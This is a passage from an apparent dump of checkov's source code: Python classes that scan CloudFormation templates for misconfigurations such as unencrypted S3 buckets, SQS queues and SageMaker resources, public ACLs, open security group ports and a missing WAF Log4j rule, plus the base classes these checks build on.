    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass S3Encryption(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure the S3 bucket has server-side-encryption enabled\"\n        id = \"CKV_AWS_19\"\n        supported_resources = ['AWS::S3::Bucket']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n        self.missing_block_result = CheckResult.PASSED  # The default value for this resource is to encrypt\n\n    def get_inspected_key(self):\n        return 'Properties/BucketEncryption/ServerSideEncryptionConfiguration/[0]/ServerSideEncryptionByDefault/SSEAlgorithm'\n\n    def get_expected_value(self):\n        return 'AES256'\n\n    def get_expected_values(self):\n        return [self.get_expected_value(), 'aws:kms']\n\n\ncheck = S3Encryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/S3IgnorePublicACLs.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3IgnorePublicACLs(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure S3 bucket has ignore public ACLs enabled\"\n        id = \"CKV_AWS_55\"\n        supported_resources = (\"AWS::S3::Bucket\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/PublicAccessBlockConfiguration/IgnorePublicAcls\"\n\n\ncheck = S3IgnorePublicACLs()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/S3PublicACLRead.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3PublicACLRead(BaseResourceNegativeValueCheck):\n\n    def __init__(self):\n        name = \"Ensure the S3 bucket does not allow READ permissions to everyone\"\n        id = \"CKV_AWS_20\"\n        supported_resources = ['AWS::S3::Bucket']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_forbidden_values(self):\n        return ['PublicReadWrite', 'PublicRead']\n\n    def get_inspected_key(self):\n        return 'Properties/AccessControl'\n\n\ncheck = S3PublicACLRead()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/S3PublicACLWrite.py",
    "content": "from typing import List, Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3PublicACLWrite(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the S3 bucket does not allow WRITE permissions to everyone\"\n        id = \"CKV_AWS_57\"\n        supported_resources = (\"AWS::S3::Bucket\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [\"PublicReadWrite\"]\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/AccessControl\"\n\n\ncheck = S3PublicACLWrite()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/S3RestrictPublicBuckets.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3RestrictPublicBuckets(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure S3 bucket has RestrictPublicBuckets enabled\"\n        id = \"CKV_AWS_56\"\n        supported_resources = ['AWS::S3::Bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/PublicAccessBlockConfiguration/RestrictPublicBuckets'\n\n\ncheck = S3RestrictPublicBuckets()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/S3Versioning.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass S3Versioning(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure the S3 bucket has versioning enabled\"\n        id = \"CKV_AWS_21\"\n        supported_resources = ['AWS::S3::Bucket']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/VersioningConfiguration/Status'\n\n    def get_expected_value(self):\n        \"\"\"\n        Returns the default expected value, governed by provider best practices\n        \"\"\"\n\n        return 'Enabled'\n\n\ncheck = S3Versioning()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SNSTopicEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SNSTopicEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the SNS topic is encrypted\"\n        id = \"CKV_AWS_26\"\n        supported_resources = ['AWS::SNS::Topic']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/KmsMasterKeyId'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SNSTopicEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SQSQueueEncryption.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SQSQueueEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the SQS queue is encrypted\"\n        id = \"CKV_AWS_27\"\n        supported_resources = ['AWS::SQS::Queue']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'Properties/KmsMasterKeyId'\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = SQSQueueEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerDataQualityJobDefinitionEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts\"\n        id = \"CKV_AWS_367\"\n        supported_resources = [\"AWS::SageMaker::DataQualityJobDefinition\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/DataQualityJobOutputConfig/KmsKeyId'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SagemakerDataQualityJobDefinitionEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerDataQualityJobDefinitionTrafficEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs\"\n        id = \"CKV_AWS_369\"\n        supported_resources = [\"AWS::SageMaker::DataQualityJobDefinition\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/NetworkConfig/EnableInterContainerTrafficEncryption'\n\n\ncheck = SagemakerDataQualityJobDefinitionTrafficEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerDataQualityJobDefinitionVolumeEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume\"\n        id = \"CKV_AWS_368\"\n        supported_resources = [\"AWS::SageMaker::DataQualityJobDefinition\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/JobResources/ClusterConfig/VolumeKmsKeyId'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SagemakerDataQualityJobDefinitionVolumeEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SagemakerModelWithNetworkIsolation.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerModelWithNetworkIsolation(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon SageMaker model uses network isolation\"\n        id = \"CKV_AWS_370\"\n        supported_resources = [\"AWS::SageMaker::Model\"]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/EnableNetworkIsolation'\n\n\ncheck = SagemakerModelWithNetworkIsolation()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SagemakerNotebookEncryptedWithCMK.py",
    "content": "from typing import List\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerNotebookEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_187\"\n        supported_resources = (\"AWS::SageMaker::NotebookInstance\", \"AWS::SageMaker::Domain\")\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/KmsKeyId'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['Properties/KmsKeyId']\n\n\ncheck = SagemakerNotebookEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass SagemakerNotebookInstanceAllowsIMDSv2(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2\"\n        id = \"CKV_AWS_371\"\n        supported_resources = [\"AWS::SageMaker::NotebookInstance\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/InstanceMetadataServiceConfiguration/MinimumInstanceMetadataServiceVersion'\n\n    def get_expected_value(self):\n        return \"2\"\n\n\ncheck = SagemakerNotebookInstanceAllowsIMDSv2()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SecretManagerSecretEncrypted.py",
    "content": "from typing import List\n\nfrom checkov.common.parsers.node import DictNode\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SecretManagerSecretEncrypted(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Secrets Manager secret is encrypted using KMS CMK\"\n        id = \"CKV_AWS_149\"\n        supported_resources = [\"AWS::SecretsManager::Secret\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: DictNode) -> CheckResult:\n        aws_kms_alias = \"aws/\"\n        properties = conf.get(\"Properties\")\n        if properties:\n            kms_key_id = properties.get(\"KmsKeyId\")\n            if kms_key_id and aws_kms_alias not in kms_key_id:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['Properties/KmsKeyId']\n\n\ncheck = SecretManagerSecretEncrypted()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass SecurityGroupRuleDescription(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure every security groups rule has a description\"\n        id = \"CKV_AWS_23\"\n        supported_resource = ('AWS::EC2::SecurityGroup', 'AWS::EC2::SecurityGroupIngress', 'AWS::EC2::SecurityGroupEgress')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n            Looks for description in security group rules :\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-security-group.html\n        :param conf: aws_security_group configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if conf['Type'] == 'AWS::EC2::SecurityGroup':\n            if 'Properties' in conf:\n                self.evaluated_keys = ['Properties']\n                security_group_ingress_rules = conf.get('Properties', {}).get('SecurityGroupIngress')\n                if security_group_ingress_rules:\n                    for rule in security_group_ingress_rules:\n                        if isinstance(rule, dict) and ('Description' not in rule or not rule['Description']):\n                            self.evaluated_keys = ['Properties/SecurityGroupIngress']\n                            return CheckResult.FAILED\n                security_group_egress_rules = conf.get('Properties', {}).get('SecurityGroupEgress')\n                if security_group_egress_rules:\n                    for rule in security_group_egress_rules:\n                        if isinstance(rule, dict) and ('Description' not in rule.keys() or not rule['Description']):\n                            self.evaluated_keys = ['Properties/SecurityGroupEgress']\n                            return CheckResult.FAILED\n                return CheckResult.PASSED\n\n        elif conf['Type'] == 'AWS::EC2::SecurityGroupIngress' or conf['Type'] == 'AWS::EC2::SecurityGroupEgress':\n            if 'Properties' in conf.keys() and 'Description' in conf['Properties'] and conf['Properties']['Description']:\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = SecurityGroupRuleDescription()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py",
    "content": "from checkov.cloudformation.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import \\\n    AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress22(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_24\", port=22)\n\n\ncheck = SecurityGroupUnrestrictedIngress22()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py",
    "content": "from checkov.cloudformation.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress3389(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_25\", port=3389)\n\n\ncheck = SecurityGroupUnrestrictedIngress3389()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py",
    "content": "from checkov.cloudformation.checks.resource.aws.AbsSecurityGroupUnrestrictedIngress import \\\n    AbsSecurityGroupUnrestrictedIngress\n\n\nclass SecurityGroupUnrestrictedIngress80(AbsSecurityGroupUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_260\", port=80)\n\n\ncheck = SecurityGroupUnrestrictedIngress80()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/TimestreamDatabaseKMSKey.py",
    "content": "from typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass TimestreamDatabaseKMSKey(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Timestream database is encrypted with KMS CMK\"\n        id = \"CKV_AWS_160\"\n        supported_resources = [\"AWS::Timestream::Database\"]\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/KmsKeyId\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = TimestreamDatabaseKMSKey()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/TransferServerIsPublic.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass TransferServerIsPublic(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Transfer Server is not exposed publicly.\"\n        id = \"CKV_AWS_164\"\n        supported_resources = ['AWS::Transfer::Server']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/EndpointType'\n\n    def get_expected_values(self):\n        return [\"VPC\", \"VPC_ENDPOINT\"]\n\n\ncheck = TransferServerIsPublic()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/VPCEndpointAcceptanceConfigured.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass VPCEndpointAcceptanceConfigured(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that VPC Endpoint Service is configured for Manual Acceptance\"\n        id = \"CKV_AWS_123\"\n        supported_resources = ['AWS::EC2::VPCEndpointService']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/AcceptanceRequired'\n\n\ncheck = VPCEndpointAcceptanceConfigured()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/WAFACLCVE202144228.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass WAFACLCVE202144228(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell\"\n        id = \"CKV_AWS_192\"\n        supported_resources = [\"AWS::WAFv2::WebACL\"]\n        categories = [CheckCategories.APPLICATION_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"Properties/Rules\"]\n        properties = conf.get(\"Properties\")\n        if properties:\n            rules = properties.get(\"Rules\") or []\n            for idx_rule, rule in enumerate(rules):\n                self.evaluated_keys = [f\"Properties/Rules/[{idx_rule}]/Statement\"]\n                statement = rule.get(\"Statement\")\n                if statement:\n                    self.evaluated_keys = [f\"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement\"]\n                    managed_group = statement.get(\"ManagedRuleGroupStatement\")\n                    if managed_group:\n                        self.evaluated_keys = [\n                            f\"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement/Name\"\n                        ]\n                        if managed_group.get(\"Name\") == \"AWSManagedRulesKnownBadInputsRuleSet\":\n                            self.evaluated_keys.append(\n                                f\"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement/ExcludedRules\"\n                            )\n                            excluded_rules = managed_group.get(\"ExcludedRules\") or []\n                            # rule 'Log4JRCE' should not be set to count\n                            for idx_excluded_rule, excluded_rule in enumerate(excluded_rules):\n                                if isinstance(excluded_rule, dict) and excluded_rule.get(\"Name\") == \"Log4JRCE\":\n                                    self.evaluated_keys = [\n                                        f\"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement/Name\",\n                                        f\"Properties/Rules/[{idx_rule}]/Statement/ManagedRuleGroupStatement/ExcludedRules/[{idx_excluded_rule}]/Name\",\n                                    ]\n                                    return CheckResult.FAILED\n\n                            self.evaluated_keys.append(f\"Properties/Rules/[{idx_rule}]/OverrideAction/None\")\n                            override_action = rule.get(\"OverrideAction\")\n                            # check for group override\n                            if override_action and next(iter(override_action.keys())) != \"None\":\n                                return CheckResult.FAILED\n\n                            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = WAFACLCVE202144228()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/WAFEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass WAFEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"CloudFront Distribution should have WAF enabled\"\n        id = \"CKV_AWS_68\"\n        supported_resources = ['AWS::CloudFront::Distribution']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/DistributionConfig/WebACLId'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = WAFEnabled()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/WorkspaceRootVolumeEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WorkspaceRootVolumeEncrypted(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Workspace root volumes are encrypted\"\n        id = \"CKV_AWS_156\"\n        supported_resources = ['AWS::WorkSpaces::Workspace']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/RootVolumeEncryptionEnabled'\n\n\ncheck = WorkspaceRootVolumeEncrypted()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/WorkspaceUserVolumeEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass WorkspaceUserVolumeEncrypted(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that Workspace user volumes are encrypted\"\n        id = \"CKV_AWS_155\"\n        supported_resources = ['AWS::WorkSpaces::Workspace']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/UserVolumeEncryptionEnabled'\n\n\ncheck = WorkspaceUserVolumeEncrypted()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/base_registry.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self) -> None:\n        super().__init__(report_type=CheckType.CLOUDFORMATION)\n\n    def extract_entity_details(self, entity: dict[str, dict[str, Any]]) -> tuple[str, str, dict[str, Any]]:\n        resource_name, resource = next(iter(entity.items()))\n        resource_type = resource[\"Type\"]\n        return resource_type, resource_name, resource\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/base_resource_check.py",
    "content": "from abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Optional, Dict, Any\n\nfrom checkov.cloudformation.checks.resource.registry import cfn_registry\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseResourceCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        guideline: Optional[str] = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=\"resource\",\n            guideline=guideline,\n        )\n        self.supported_resources = supported_resources\n        cfn_registry.register(self)\n\n    def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str) -> CheckResult:\n        self.entity_type = entity_type\n\n        return self.scan_resource_conf(conf)\n\n    @abstractmethod\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/base_resource_negative_value_check.py",
    "content": "from abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import List, Any, Optional, Dict\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.cloudformation.context_parser import ContextParser\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass BaseResourceNegativeValueCheck(BaseResourceCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        missing_block_result: CheckResult = CheckResult.FAILED,\n    ) -> None:\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n        self.missing_block_result = missing_block_result\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        excluded_key = self.get_excluded_key()\n        if excluded_key is not None:\n            path_elements = excluded_key.split(\"/\")\n            matches = ContextParser.search_deep_keys(path_elements[-1], conf, [])\n            if len(matches) > 0:\n                for match in matches:\n                    if match[:-1] == path_elements:\n                        if isinstance(match, list) and len(match) == 1:\n                            match = match[0]\n                        if self.check_excluded_condition(match):\n                            return CheckResult.PASSED\n\n        inspected_key = self.get_inspected_key()\n        bad_values = self.get_forbidden_values()\n        path_elements = inspected_key.split(\"/\")\n        matches = ContextParser.search_deep_keys(path_elements[-1], conf, [])\n        if len(matches) > 0:\n            for match in matches:\n                if match[:-1] == path_elements:\n                    if match[-1] in bad_values or ANY_VALUE in bad_values:\n                        return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    @abstractmethod\n    def get_inspected_key(self) -> str:\n        \"\"\"\n        :return: JSONPath syntax path of the checked attribute\n        \"\"\"\n        raise NotImplementedError()\n\n    @abstractmethod\n    def get_forbidden_values(self) -> List[Any]:\n        \"\"\"\n        Returns a list of vulnerable values for the inspected key, governed by provider best practices\n        \"\"\"\n        raise NotImplementedError()\n\n    def get_excluded_key(self) -> Optional[str]:\n        \"\"\"\n        :return: JSONPath syntax path of the an attribute that provides exclusion condition for the inspected key\n        \"\"\"\n        return None\n\n    def check_excluded_condition(self, value: Any) -> bool:\n        \"\"\"\n        :param:  value: value for  excluded_key\n        :return: True if the value should exclude the check from failing if the inspected key has a bad value\n        \"\"\"\n        return False\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [self.get_inspected_key()]\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/base_resource_value_check.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import List, Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.cloudformation.context_parser import ContextParser\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.common.util.var_utils import is_cloudformation_variable_dependent\n\nARRAY_INDEX_PATTERN = re.compile(r\"^\\[?\\d+\\]?$\")\nVARIABLE_DEPENDANT_REGEX = re.compile(r\"(?:Ref)\\.[^\\s]+\")\n\n\nclass BaseResourceValueCheck(BaseResourceCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        missing_block_result: CheckResult = CheckResult.FAILED,\n    ) -> None:\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n        self.missing_block_result = missing_block_result\n\n    @staticmethod\n    def _filter_key_path(path: str) -> List[str]:\n        \"\"\"\n        Filter an attribute path to contain only named attributes by dropping array indices from the path)\n        :param path: valid JSONPath of an attribute\n        :return: List of named attributes with respect to the input JSONPath order\n        \"\"\"\n        return [x for x in path.split(\"/\") if not re.search(ARRAY_INDEX_PATTERN, x)]\n\n    @staticmethod\n    def _is_variable_dependant(value: Any) -> bool:\n        return is_cloudformation_variable_dependent(value)\n\n    @staticmethod\n    def _is_nesting_key(inspected_attributes: List[str], key: str) -> bool:\n        \"\"\"\n        Resolves whether a key is a subset of the inspected nesting attributes\n        :param inspected_attributes: list of nesting attributes\n        :param key: JSONPath key of an attribute\n        :return: True/False\n        \"\"\"\n        return any(x in key for x in inspected_attributes)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> 